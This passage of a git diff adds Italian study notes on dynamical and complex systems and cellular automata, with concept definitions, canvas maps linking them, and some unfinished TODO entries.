+Facendole girare con la velocità pari all'intensità del sensore opposto, il veicolo cercherà di girarsi verso la luce.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/★ sistemi dinamici.canvas b/8 - Sistemi complessi/1 - Sistemi dinamici/★ sistemi dinamici.canvas
new file mode 100644
index 0000000..fc644ce
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/★ sistemi dinamici.canvas	
@@ -0,0 +1,54 @@
+{
+	"nodes":[
+		{"id":"d9a1ac04d72a64da","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/sistema dissipativo.md","x":-800,"y":-240,"width":400,"height":400},
+		{"id":"88d58c7d4c89da28","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/sistema dinamico.md","x":-240,"y":-240,"width":400,"height":400,"color":"#ffffff"},
+		{"id":"38247c4cd2588d12","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/sistema lineare.md","x":-240,"y":320,"width":400,"height":400},
+		{"id":"0ce444b16df64f7f","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/spazio di fase.md","x":320,"y":-240,"width":400,"height":400},
+		{"id":"d20317e7b4505aae","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/condizione iniziale.md","x":880,"y":-800,"width":400,"height":400},
+		{"id":"e8764b8eb06d6c05","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/traiettoria.md","x":880,"y":-240,"width":400,"height":400},
+		{"id":"3dc0e35534806470","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/attrattore.md","x":880,"y":320,"width":400,"height":400},
+		{"id":"89ac30c6cbe1ea6e","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/repulsore.md","x":880,"y":880,"width":400,"height":400},
+		{"id":"0aac45070fe8a5a5","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/sella.md","x":880,"y":1440,"width":400,"height":400},
+		{"id":"fbd7de67fbf635a8","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/centro.md","x":880,"y":2000,"width":400,"height":400},
+		{"id":"3c1a67a7a7501c03","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/potenziale.md","x":1440,"y":-240,"width":400,"height":400},
+		{"id":"14cddbe621578fb3","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/stabilità.md","x":1440,"y":320,"width":400,"height":400},
+		{"id":"75eed72fc13d68d0","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/instabilità.md","x":1440,"y":880,"width":400,"height":400},
+		{"id":"0b25c3a7d54ff289","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/convezione di Rayleigh-Bénard.md","x":880,"y":-1920,"width":400,"height":400},
+		{"id":"d74ad49ffab2ef2d","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/veicolo di Braitenberg.md","x":880,"y":-2480,"width":400,"height":400},
+		{"id":"dde149d5b7f55f3a","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/effetto Marangoni.md","x":880,"y":-1360,"width":400,"height":400},
+		{"id":"ff2b590ea01eb0f9","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/numero di Rayleigh.md","x":1440,"y":-1920,"width":400,"height":400},
+		{"id":"7bbb8a16238656d7","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/numero critico di Rayleigh.md","x":2000,"y":-1920,"width":400,"height":400},
+		{"id":"78999bff722ec2a0","type":"text","text":"## Esempi\n\nSono esempi di [[sistema dinamico|sistemi dinamici]]:\n- il [[veicolo di Braitenberg]]\n- i sistemi in cui si verifica la [[convezione di Rayleigh-Bénard]]\n- i sistemi in cui si verifica l'[[effetto Marangoni]]\n- i [[vortice|vortici]]","x":-240,"y":-1920,"width":400,"height":400},
+		{"id":"71bc9c01546c6204","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/seconda legge della termodinamica.md","x":-800,"y":320,"width":400,"height":400},
+		{"id":"eddf6498771b97ae","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/metastabilità.md","x":2000,"y":880,"width":400,"height":400},
+		{"id":"4daae5c6ce7ab9d1","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/criticità.md","x":2000,"y":320,"width":400,"height":400},
+		{"id":"93a57121110efee8","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/legge di potenza.md","x":2000,"y":-240,"width":400,"height":400},
+		{"id":"ddf0e4ecb165122b","type":"file","file":"8 - Sistemi complessi/1 - Sistemi dinamici/legge Gutenberg-Richter.md","x":2560,"y":320,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"03f750114f6b96bd","fromNode":"88d58c7d4c89da28","fromSide":"right","toNode":"0ce444b16df64f7f","toSide":"left"},
+		{"id":"04db938dda4efd77","fromNode":"88d58c7d4c89da28","fromSide":"bottom","toNode":"38247c4cd2588d12","toSide":"top"},
+		{"id":"2b8903bfddc445b4","fromNode":"88d58c7d4c89da28","fromSide":"left","toNode":"d9a1ac04d72a64da","toSide":"right"},
+		{"id":"86568e563f2c0ce1","fromNode":"0ce444b16df64f7f","fromSide":"right","toNode":"e8764b8eb06d6c05","toSide":"left"},
+		{"id":"e0d3823ad39901a4","fromNode":"0ce444b16df64f7f","fromSide":"right","toNode":"3dc0e35534806470","toSide":"left"},
+		{"id":"e76080cd8ddfc67f","fromNode":"0ce444b16df64f7f","fromSide":"right","toNode":"d20317e7b4505aae","toSide":"left"},
+		{"id":"5841641fe28d5e31","fromNode":"0ce444b16df64f7f","fromSide":"right","toNode":"89ac30c6cbe1ea6e","toSide":"left"},
+		{"id":"ad201e9912186eb3","fromNode":"0ce444b16df64f7f","fromSide":"right","toNode":"0aac45070fe8a5a5","toSide":"left"},
+		{"id":"54f4f3fe59cc9465","fromNode":"0ce444b16df64f7f","fromSide":"right","toNode":"fbd7de67fbf635a8","toSide":"left"},
+		{"id":"ee6c7dee88eebc7d","fromNode":"e8764b8eb06d6c05","fromSide":"right","toNode":"3c1a67a7a7501c03","toSide":"left"},
+		{"id":"53809c5553b7ab5e","fromNode":"3dc0e35534806470","fromSide":"right","toNode":"3c1a67a7a7501c03","toSide":"left"},
+		{"id":"a7aa9abab5f06d34","fromNode":"3dc0e35534806470","fromSide":"right","toNode":"14cddbe621578fb3","toSide":"left"},
+		{"id":"7471cf2dacf2c26e","fromNode":"89ac30c6cbe1ea6e","fromSide":"right","toNode":"75eed72fc13d68d0","toSide":"left"},
+		{"id":"57461e9916843018","fromNode":"14cddbe621578fb3","fromSide":"right","toNode":"eddf6498771b97ae","toSide":"left"},
+		{"id":"86471a9a682103a0","fromNode":"0b25c3a7d54ff289","fromSide":"right","toNode":"ff2b590ea01eb0f9","toSide":"left"},
+		{"id":"303e24e579f379da","fromNode":"ff2b590ea01eb0f9","fromSide":"right","toNode":"7bbb8a16238656d7","toSide":"left"},
+		{"id":"36374bdbf980730e","fromNode":"78999bff722ec2a0","fromSide":"right","toNode":"0b25c3a7d54ff289","toSide":"left"},
+		{"id":"a54214bdf6d050e2","fromNode":"78999bff722ec2a0","fromSide":"right","toNode":"d74ad49ffab2ef2d","toSide":"left"},
+		{"id":"57ffef10bc974664","fromNode":"78999bff722ec2a0","fromSide":"right","toNode":"dde149d5b7f55f3a","toSide":"left"},
+		{"id":"82026d8bd327da48","fromNode":"88d58c7d4c89da28","fromSide":"top","toNode":"78999bff722ec2a0","toSide":"bottom"},
+		{"id":"43b9fb4a417f3d5a","fromNode":"d9a1ac04d72a64da","fromSide":"bottom","toNode":"71bc9c01546c6204","toSide":"top"},
+		{"id":"a4e3ccf81904708b","fromNode":"14cddbe621578fb3","fromSide":"right","toNode":"4daae5c6ce7ab9d1","toSide":"left"},
+		{"id":"bf0d30634c092c3c","fromNode":"93a57121110efee8","fromSide":"bottom","toNode":"4daae5c6ce7ab9d1","toSide":"top"},
+		{"id":"fd781def8606cd3d","fromNode":"4daae5c6ce7ab9d1","fromSide":"right","toNode":"ddf0e4ecb165122b","toSide":"left"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/Landau's phenomenological theory.md b/8 - Sistemi complessi/2 - Sistemi complessi/Landau's phenomenological theory.md
new file mode 100644
index 0000000..71429da
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/Landau's phenomenological theory.md	
@@ -0,0 +1 @@
+#TODO Non ho capito di cosa si tratta.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/adattabilità.md b/8 - Sistemi complessi/2 - Sistemi complessi/adattabilità.md
new file mode 100644
index 0000000..4951e03
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/adattabilità.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]].
+
+Relativamente a un [[sistema complesso]], indica che esso risponde agli input **in modi diversi in base agli input che ha ricevuto in precedenza**, in un certo senso *apprendendo dalla propria esperienza*.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/apertura all'ambiente.md b/8 - Sistemi complessi/2 - Sistemi complessi/apertura all'ambiente.md
new file mode 100644
index 0000000..11cc147
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/apertura all'ambiente.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]].
+
+Relativamente a un [[sistema complesso]], indica che esso può scambiare con l'[[ambiente]] [[materia]], [[energia]] e [[informazione]].
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/auto-organizzazione.md b/8 - Sistemi complessi/2 - Sistemi complessi/auto-organizzazione.md
new file mode 100644
index 0000000..00fca4d
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/auto-organizzazione.md	
@@ -0,0 +1,17 @@
+---
+aliases:
+  - ordine spontaneo
+---
+
+[[Caratteristica]] macroscopica connessa all'[[emergenza]].
+
+Relativamente a un [[sistema complesso]], indica che un insieme di [[parti]] crea spontaneamente un pattern.
+
+## Requisiti
+
+Perchè si possa verificare auto-organizzazione, è necessario:
+- trovarsi in un [[sistema dissipativo]]
+- trovarsi in un [[non-linearità|sistema non-lineare]]
+- avere fluttuazioni locali
+- avere [[feedback positivo|feedback positivi]] che amplifichino le fluttuazioni locali rendendole globali
+- avere [[feedback negativo]] che attenuino le fluttuazioni locali
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/caos.md b/8 - Sistemi complessi/2 - Sistemi complessi/caos.md
new file mode 100644
index 0000000..acb39d7
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/caos.md	
@@ -0,0 +1,13 @@
+[[caratteristica|Caratteristica]] matematica.
+
+Relativamente a un [[sistema complesso]], indica che:
+- l'output è [[non-linearità|sensibile alle condizioni iniziali|]]
+	- il sistema è **imprevedibile**
+- effettua [[topological mixing]]
+	- il sistema è **inseparabile**
+- ha [[dense periodic orbits]]
+	- il sistema è **regolare**
+
+## Vedi anche
+
+- [Mathematics Exchange: **Why do chaotic systems need dense periodic orbits?**](https://math.stackexchange.com/questions/3263382/why-do-chaotic-systems-need-dense-periodic-orbits)
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/criticità auto-organizzata.md b/8 - Sistemi complessi/2 - Sistemi complessi/criticità auto-organizzata.md
new file mode 100644
index 0000000..61e4b61
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/criticità auto-organizzata.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]] di alcuni [[sistema complesso|sistemi complessi]] che si [[congettura]] verificarsi nella [[fisica]].
+
+Essi raggiungono automaticamente condizioni [[macroscopico|macroscopiche]] di [[criticità]] di natura [[emergenza|emergente]] dalle loro regole [[microscopico|microscopiche]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/dense periodic orbits.md b/8 - Sistemi complessi/2 - Sistemi complessi/dense periodic orbits.md
new file mode 100644
index 0000000..b805dd7
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/dense periodic orbits.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]] matematica.
+
+#TODO Cosa significa?
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/emergenza.md b/8 - Sistemi complessi/2 - Sistemi complessi/emergenza.md
new file mode 100644
index 0000000..d2c6a1c
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/emergenza.md	
@@ -0,0 +1,3 @@
+[[caratteristica|Caratteristica]] macroscopica.
+
+Relativamente a un [[sistema complesso]], indica la **comparsa nel sistema di comportamenti derivati dalle [[dipendenza|inter-dipendenze]]** che non si verificano quando le [[parte di un sistema complesso|parti]] sono studiate individualmente.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/fallimento a cascata.md b/8 - Sistemi complessi/2 - Sistemi complessi/fallimento a cascata.md
new file mode 100644
index 0000000..2716d2d
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/fallimento a cascata.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]].
+
+Relativamente a un [[sistema complesso]], indica che la disfunzione di alcune [[parte di un sistema complesso|parti]] può causare direttamente la disfunzione di altre.
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/feedback loop.md b/8 - Sistemi complessi/2 - Sistemi complessi/feedback loop.md
new file mode 100644
index 0000000..96f964c
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/feedback loop.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]].
+
+Relativamente a un [[sistema complesso]], indica che gli effetti di una [[parte di un sistema complesso|parte]] possono causare attenuazioni o amplificazioni agli effetti futuri della stessa parte.
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/non-linearità.md b/8 - Sistemi complessi/2 - Sistemi complessi/non-linearità.md
new file mode 100644
index 0000000..99e05c9
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/non-linearità.md	
@@ -0,0 +1,7 @@
+[[caratteristica|Caratteristica]] matematica.
+
+Opposta alla [[linearità]].
+
+Relativamente a una [[funzione matematica]], indica che variazioni dell'input comportano variazioni non-lineari dell'output, e di conseguenza **dipendenti anche dall'input in sè**, e non solo dalla sua variazione. 
+
+Relativamente a un [[sistema complesso]], indica che esso risponde agli input **in modi diversi in base allo stato in cui esso si trova**.
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/ordine spontaneo.md b/8 - Sistemi complessi/2 - Sistemi complessi/ordine spontaneo.md
new file mode 100644
index 0000000..12f1b18
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/ordine spontaneo.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]] macroscopica connessa all'[[emergenza]].
+
+Relativamente a un [[sistema complesso]], indica che un insieme di [[parte di un sistema complesso|parti]] riescono a coordinare le loro azioni in modo decentralizzato.
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/parte di un sistema complesso.md b/8 - Sistemi complessi/2 - Sistemi complessi/parte di un sistema complesso.md
new file mode 100644
index 0000000..b755aee
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/parte di un sistema complesso.md	
@@ -0,0 +1,5 @@
+Elemento che [[dipendenza|interagisce con altri]] all'interno di un [[sistema complesso]].
+
+Talvolta, può essere essa stessa un [[sistema complesso]]!
+
+In una [[8 - Sistemi complessi/2 - Sistemi complessi/rete]], è rappresentata da un [[nodo]].
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/pila di sabbia abeliana.md b/8 - Sistemi complessi/2 - Sistemi complessi/pila di sabbia abeliana.md
new file mode 100644
index 0000000..724312b
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/pila di sabbia abeliana.md	
@@ -0,0 +1,24 @@
+---
+aliases:
+  - Bak-Tang-Wiesenfeld sandpile
+---
+
+[[Modello]] di [[sistema complesso]].
+
+È un [[automa cellulare]] a [[reticolo di un automa cellulare|reticolo]] [[reticolo quadrato|quadrato]] e [[vicinato di von Neumann]].
+
+## Funzionamento
+
+- Ogni cella ha un valore discreto di sabbia in essa.
+- Ad ogni iterazione:
+	1. Viene aggiunta 1 unità di sabbia in una cella casuale.
+	2. Finchè non viene raggiunta la stabilità:
+		1. Se una cella ha 4 unità di sabbia, esse si distribuiscono nelle celle nel vicinato
+
+## Risultati
+
+Si è scoperto che operazione di aggiunta di sabbia forma un [[gruppo di Galois|gruppo abeliano]], ovvero  che il risultato finale **è indipendente dalle posizioni e dall'ordine in cui le unità di sabbia sono state aggiunte**.
+
+Inoltre, il risultato dell'aggiunta di $N$ unità di sabbia **è indipendente dai parametri del sistema**, come le dimensioni del reticolo.
+
+Infine, la [[legge di potenza]] ha un parametro $\alpha$ uguale a 1, il che determina che il rumore causato dalle perturbazioni è [[pink noise]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/rete.md b/8 - Sistemi complessi/2 - Sistemi complessi/rete.md
new file mode 100644
index 0000000..31fc1a2
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/rete.md	
@@ -0,0 +1,5 @@
+Rappresentazione delle [[dipendenza|inter-dipendenze]] tra le varie [[parte di un sistema complesso|parti]] di un [[sistema complesso]].
+
+Intuitivamente, potrebbe venire da pensare a un [[grafo]], ma non è sempre il [[modello]] giusto per rappresentare la *rete*, in quanto le [[dipendenza|inter-dipendenze]] possono coinvolgere più parti contemporaneamente.
+
+È più appropriato invece pensare alla sua astrazione, l'[[ipergrafo]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/sistema complesso.md b/8 - Sistemi complessi/2 - Sistemi complessi/sistema complesso.md
new file mode 100644
index 0000000..fbfb52c
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/sistema complesso.md	
@@ -0,0 +1,20 @@
+[[sistema dinamico]] con una quantità di [[dipendenza|inter-dipendenze]] tra le sue [[parte di un sistema complesso|parti]] tale da rendere impossibile studiarlo convenzionalmente.
+
+## Caratteristiche
+
+Un sistema complesso:
+- è [[apertura all'ambiente|aperto]]
+- è [[non-linearità|non-lineare]]
+- presenta comportamenti [[emergenza|emergenti]]
+- si [[adattabilità|adatta]] al contesto in cui si trova
+- può essere affetto da un [[fallimento a cascata]]
+- può presentare [[feedback loop]]
+- 
+
+## Studio
+
+I sistemi complessi vengono approcciati pondendo enfasi sulle [[dipendenza|inter-dipendenze]] tra le parti e sulla ricerca di [[caratteristica|caratteristiche]] condivise tra tutti i sistemi.
+
+## Etimologia
+
+<ruby style="font-size: x-large; font-family: serif !important;"><span>sistema&nbsp;</span><rt></rt><span>com</span><rt>insieme</rt>·<span>plesso</span><rt>tessuto</rt></ruby>
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/topological mixing.md b/8 - Sistemi complessi/2 - Sistemi complessi/topological mixing.md
new file mode 100644
index 0000000..798f14c
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/topological mixing.md	
@@ -0,0 +1,3 @@
+[[caratteristica|Caratteristica]] che astrae matematicamente il processo di miscelazione manuale.
+
+#TODO Cosa significa matematicamente?
\ No newline at end of file
diff --git a/8 - Sistemi complessi/2 - Sistemi complessi/★ sistemi complessi.canvas b/8 - Sistemi complessi/2 - Sistemi complessi/★ sistemi complessi.canvas
new file mode 100644
index 0000000..cfba229
--- /dev/null
+++ b/8 - Sistemi complessi/2 - Sistemi complessi/★ sistemi complessi.canvas	
@@ -0,0 +1,36 @@
+{
+	"nodes":[
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/rete.md","id":"c972b92cd9f827c1","x":200,"y":-640,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/sistema complesso.md","id":"704ce498cfc178b7","x":200,"y":-80,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/parte di un sistema complesso.md","id":"62bc7b78bf2dddad","x":-360,"y":-80,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/adattabilità.md","id":"d7a61d69202c6cf5","x":480,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/fallimento a cascata.md","id":"8d24657a0cf73078","x":1040,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/feedback loop.md","id":"fe91ca3d079f6894","x":1600,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/apertura all'ambiente.md","id":"47a047891aae1cbb","x":-640,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/non-linearità.md","id":"95a52ad702d8a051","x":-1200,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/emergenza.md","id":"d976d954bcd2662f","x":-80,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/caos.md","id":"c223871d5795c5df","x":-1200,"y":1600,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/topological mixing.md","id":"6bba28b29323cfae","x":-1480,"y":2160,"width":400,"height":400,"color":"3"},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/dense periodic orbits.md","id":"71aee901fc33b95e","x":-920,"y":2160,"width":400,"height":400,"color":"3"},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/criticità auto-organizzata.md","id":"28c1eb34a09342d4","x":-80,"y":1600,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/auto-organizzazione.md","id":"6f8cdae01cab1831","x":-80,"y":1040,"width":400,"height":400},
+		{"type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/Landau's phenomenological theory.md","id":"ccde40a01a614b5b","x":-640,"y":1040,"width":400,"height":400,"color":"3"},
+		{"id":"4b003520d5b9d44f","type":"file","file":"8 - Sistemi complessi/2 - Sistemi complessi/pila di sabbia abeliana.md","x":-80,"y":2160,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"a14d99d976258e52","fromNode":"704ce498cfc178b7","fromSide":"top","toNode":"c972b92cd9f827c1","toSide":"bottom"},
+		{"id":"b3475e98a2c8b223","fromNode":"704ce498cfc178b7","fromSide":"left","toNode":"62bc7b78bf2dddad","toSide":"right"},
+		{"id":"c6cf8918ef4182fd","fromNode":"704ce498cfc178b7","fromSide":"bottom","toNode":"d7a61d69202c6cf5","toSide":"top"},
+		{"id":"9d3a8d1d6c5381ec","fromNode":"704ce498cfc178b7","fromSide":"bottom","toNode":"8d24657a0cf73078","toSide":"top"},
+		{"id":"22e7203de10f619d","fromNode":"704ce498cfc178b7","fromSide":"bottom","toNode":"fe91ca3d079f6894","toSide":"top"},
+		{"id":"d69763c3f9082ade","fromNode":"704ce498cfc178b7","fromSide":"bottom","toNode":"d976d954bcd2662f","toSide":"top"},
+		{"id":"0cdfa1165a444fef","fromNode":"704ce498cfc178b7","fromSide":"bottom","toNode":"95a52ad702d8a051","toSide":"top"},
+		{"id":"6fd3b84be0ba2c25","fromNode":"704ce498cfc178b7","fromSide":"bottom","toNode":"47a047891aae1cbb","toSide":"top"},
+		{"id":"455390d6bc26473c","fromNode":"95a52ad702d8a051","fromSide":"bottom","toNode":"c223871d5795c5df","toSide":"top"},
+		{"id":"12859c5b561c3016","fromNode":"c223871d5795c5df","fromSide":"bottom","toNode":"6bba28b29323cfae","toSide":"top"},
+		{"id":"19f8dd22fe2eab69","fromNode":"d976d954bcd2662f","fromSide":"bottom","toNode":"6f8cdae01cab1831","toSide":"top"},
+		{"id":"3005d352e65cf9ff","fromNode":"c223871d5795c5df","fromSide":"bottom","toNode":"71aee901fc33b95e","toSide":"top"},
+		{"id":"f686be0ab6d64865","fromNode":"6f8cdae01cab1831","fromSide":"bottom","toNode":"28c1eb34a09342d4","toSide":"top"},
+		{"id":"13d9c16b87fde0c9","fromNode":"28c1eb34a09342d4","fromSide":"bottom","toNode":"4b003520d5b9d44f","toSide":"top"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/Evoloop.md b/8 - Sistemi complessi/3 - Automi cellulari/Evoloop.md
new file mode 100644
index 0000000..454a8c8
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/Evoloop.md	
@@ -0,0 +1 @@
+Successore di [[Langton's Loops]] che implementa [[meccanismi evolutivi]] nei loop.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/Game of Life.md b/8 - Sistemi complessi/3 - Automi cellulari/Game of Life.md
new file mode 100644
index 0000000..1110d76
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/Game of Life.md	
@@ -0,0 +1,19 @@
+[[automa cellulare]] [[universalità|universale]].
+
+## Caratteristiche
+
+Ha le seguenti caratteristiche:
+- è [[automa cellulare booleano|booleano]], ha celle: 
+	- <span style="color: green;">morte</span>
+	- <span style="color: lime;">vive</span>
+- [[reticolo di un automa cellulare|reticolo]]:
+	- [[2D]]
+	- [[reticolo quadrato|quadrato]]
+	- [[vicinato di Moore]]
+- [[regola di transizione]] [[automa cellulare totalistico|totalistica]]:
+	- celle <span style="color: green;">morte</span> diventano <span style="color: lime;">vive</span> se hanno $=3$ vicini <span style="color: lime;">vivi</span>
+	- celle <span style="color: lime;">vive</span> diventano <span style="color: green;">morte</span> se hanno $<2$ o $>3$ vicini <span style="color: lime;">vivi</span>
+
+## Vedi anche
+
+- #Extra [**ConwayLife Wiki**](https://conwaylife.com/wiki/Main_Page)
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/Langton's Loops.md b/8 - Sistemi complessi/3 - Automi cellulari/Langton's Loops.md
new file mode 100644
index 0000000..58330fe
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/Langton's Loops.md	
@@ -0,0 +1,3 @@
+[[automa cellulare]] procettato appositamente per realizzare in modo semplice l'[[auto-replicazione]].
+
+Succeduto da vari altri tipi di "loops", i cui più rilevanti sono [[Perrier's Loops]] e [[Evoloop]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/Perrier's Loops.md b/8 - Sistemi complessi/3 - Automi cellulari/Perrier's Loops.md
new file mode 100644
index 0000000..c5b7478
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/Perrier's Loops.md	
@@ -0,0 +1 @@
+Successore di [[Langton's Loops]] che implementa l'[[universalità]].
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/Wireworld.md b/8 - Sistemi complessi/3 - Automi cellulari/Wireworld.md
new file mode 100644
index 0000000..317f6f7
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/Wireworld.md	
@@ -0,0 +1 @@
+[[automa cellulare]] progettato per implementare facilmente logica booleana.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/anisotropia.md b/8 - Sistemi complessi/3 - Automi cellulari/anisotropia.md
new file mode 100644
index 0000000..7bb2fa0
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/anisotropia.md	
@@ -0,0 +1,19 @@
+[[Caratteristica]].
+
+Indica che misure aggregate in direzioni diverse possono portare a risultati diversi.
+
+Opposto dell'[[isotropia]].
+
+## In [[automa cellulare|automi cellulari]]
+
+Si verifica nei [[reticolo di un automa cellulare|reticoli]] quadrati.
+
+Per risolvere il problema:
+- **in 2D**: si possono adottare reticoli triangolari o esagonali.
+- **in 3D**: si deve ricorrere a reticoli 4D.
+
+## Vedi anche
+
+- [[modello HPP]]
+- [[modello FHP]]
+- [[reticolo FCHC]]
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/auto-replicazione.md b/8 - Sistemi complessi/3 - Automi cellulari/auto-replicazione.md
new file mode 100644
index 0000000..0b18df7
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/auto-replicazione.md	
@@ -0,0 +1,25 @@
+[[Caratteristica]] di un [[sistema complesso]].
+
+Indica che esso è in grado di creare una copia di sè stesso autonomamente.
+
+## Secondo [[von Neumann]]
+
+Un sistema replicatore è composto da tre parti:
+- uno schema del sistema stesso
+- un meccanismo che legge lo schema e lo costruisce
+- un meccanismo che possa duplicare lo schema all'interno di qualsiasi sistema
+
+[[von Neumann]] è riuscito nella realizzazione di questo sistema, anche se in modo molto inefficiente.
+
+È un'anticipazione della scoperta della funzione di:
+- [[RNA]] (lo schema)
+- [[DNA]] (il meccanismo di costruzione)
+- la riproduzione cellulare (il meccanismo di duplicazione)
+
+## Nel [[Game of Life]]
+
+È possibile l'auto-replicazione attraverso il pattern [[Gemini]].
+
+## In [[Langton's Loops]]
+
+È possibile l'auto-replicazione in modo molto più efficiente che nei precedenti due.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare asincrono.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare asincrono.md
new file mode 100644
index 0000000..09597b3
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare asincrono.md	
@@ -0,0 +1 @@
+[[automa cellulare]] la cui [[regola di transizione]] non è applicata uniformemente a tutte le celle, ma viene applicata in modo **sequenziale** oppure **casuale**.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare booleano.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare booleano.md
new file mode 100644
index 0000000..ea71c7f
--- /dev/null
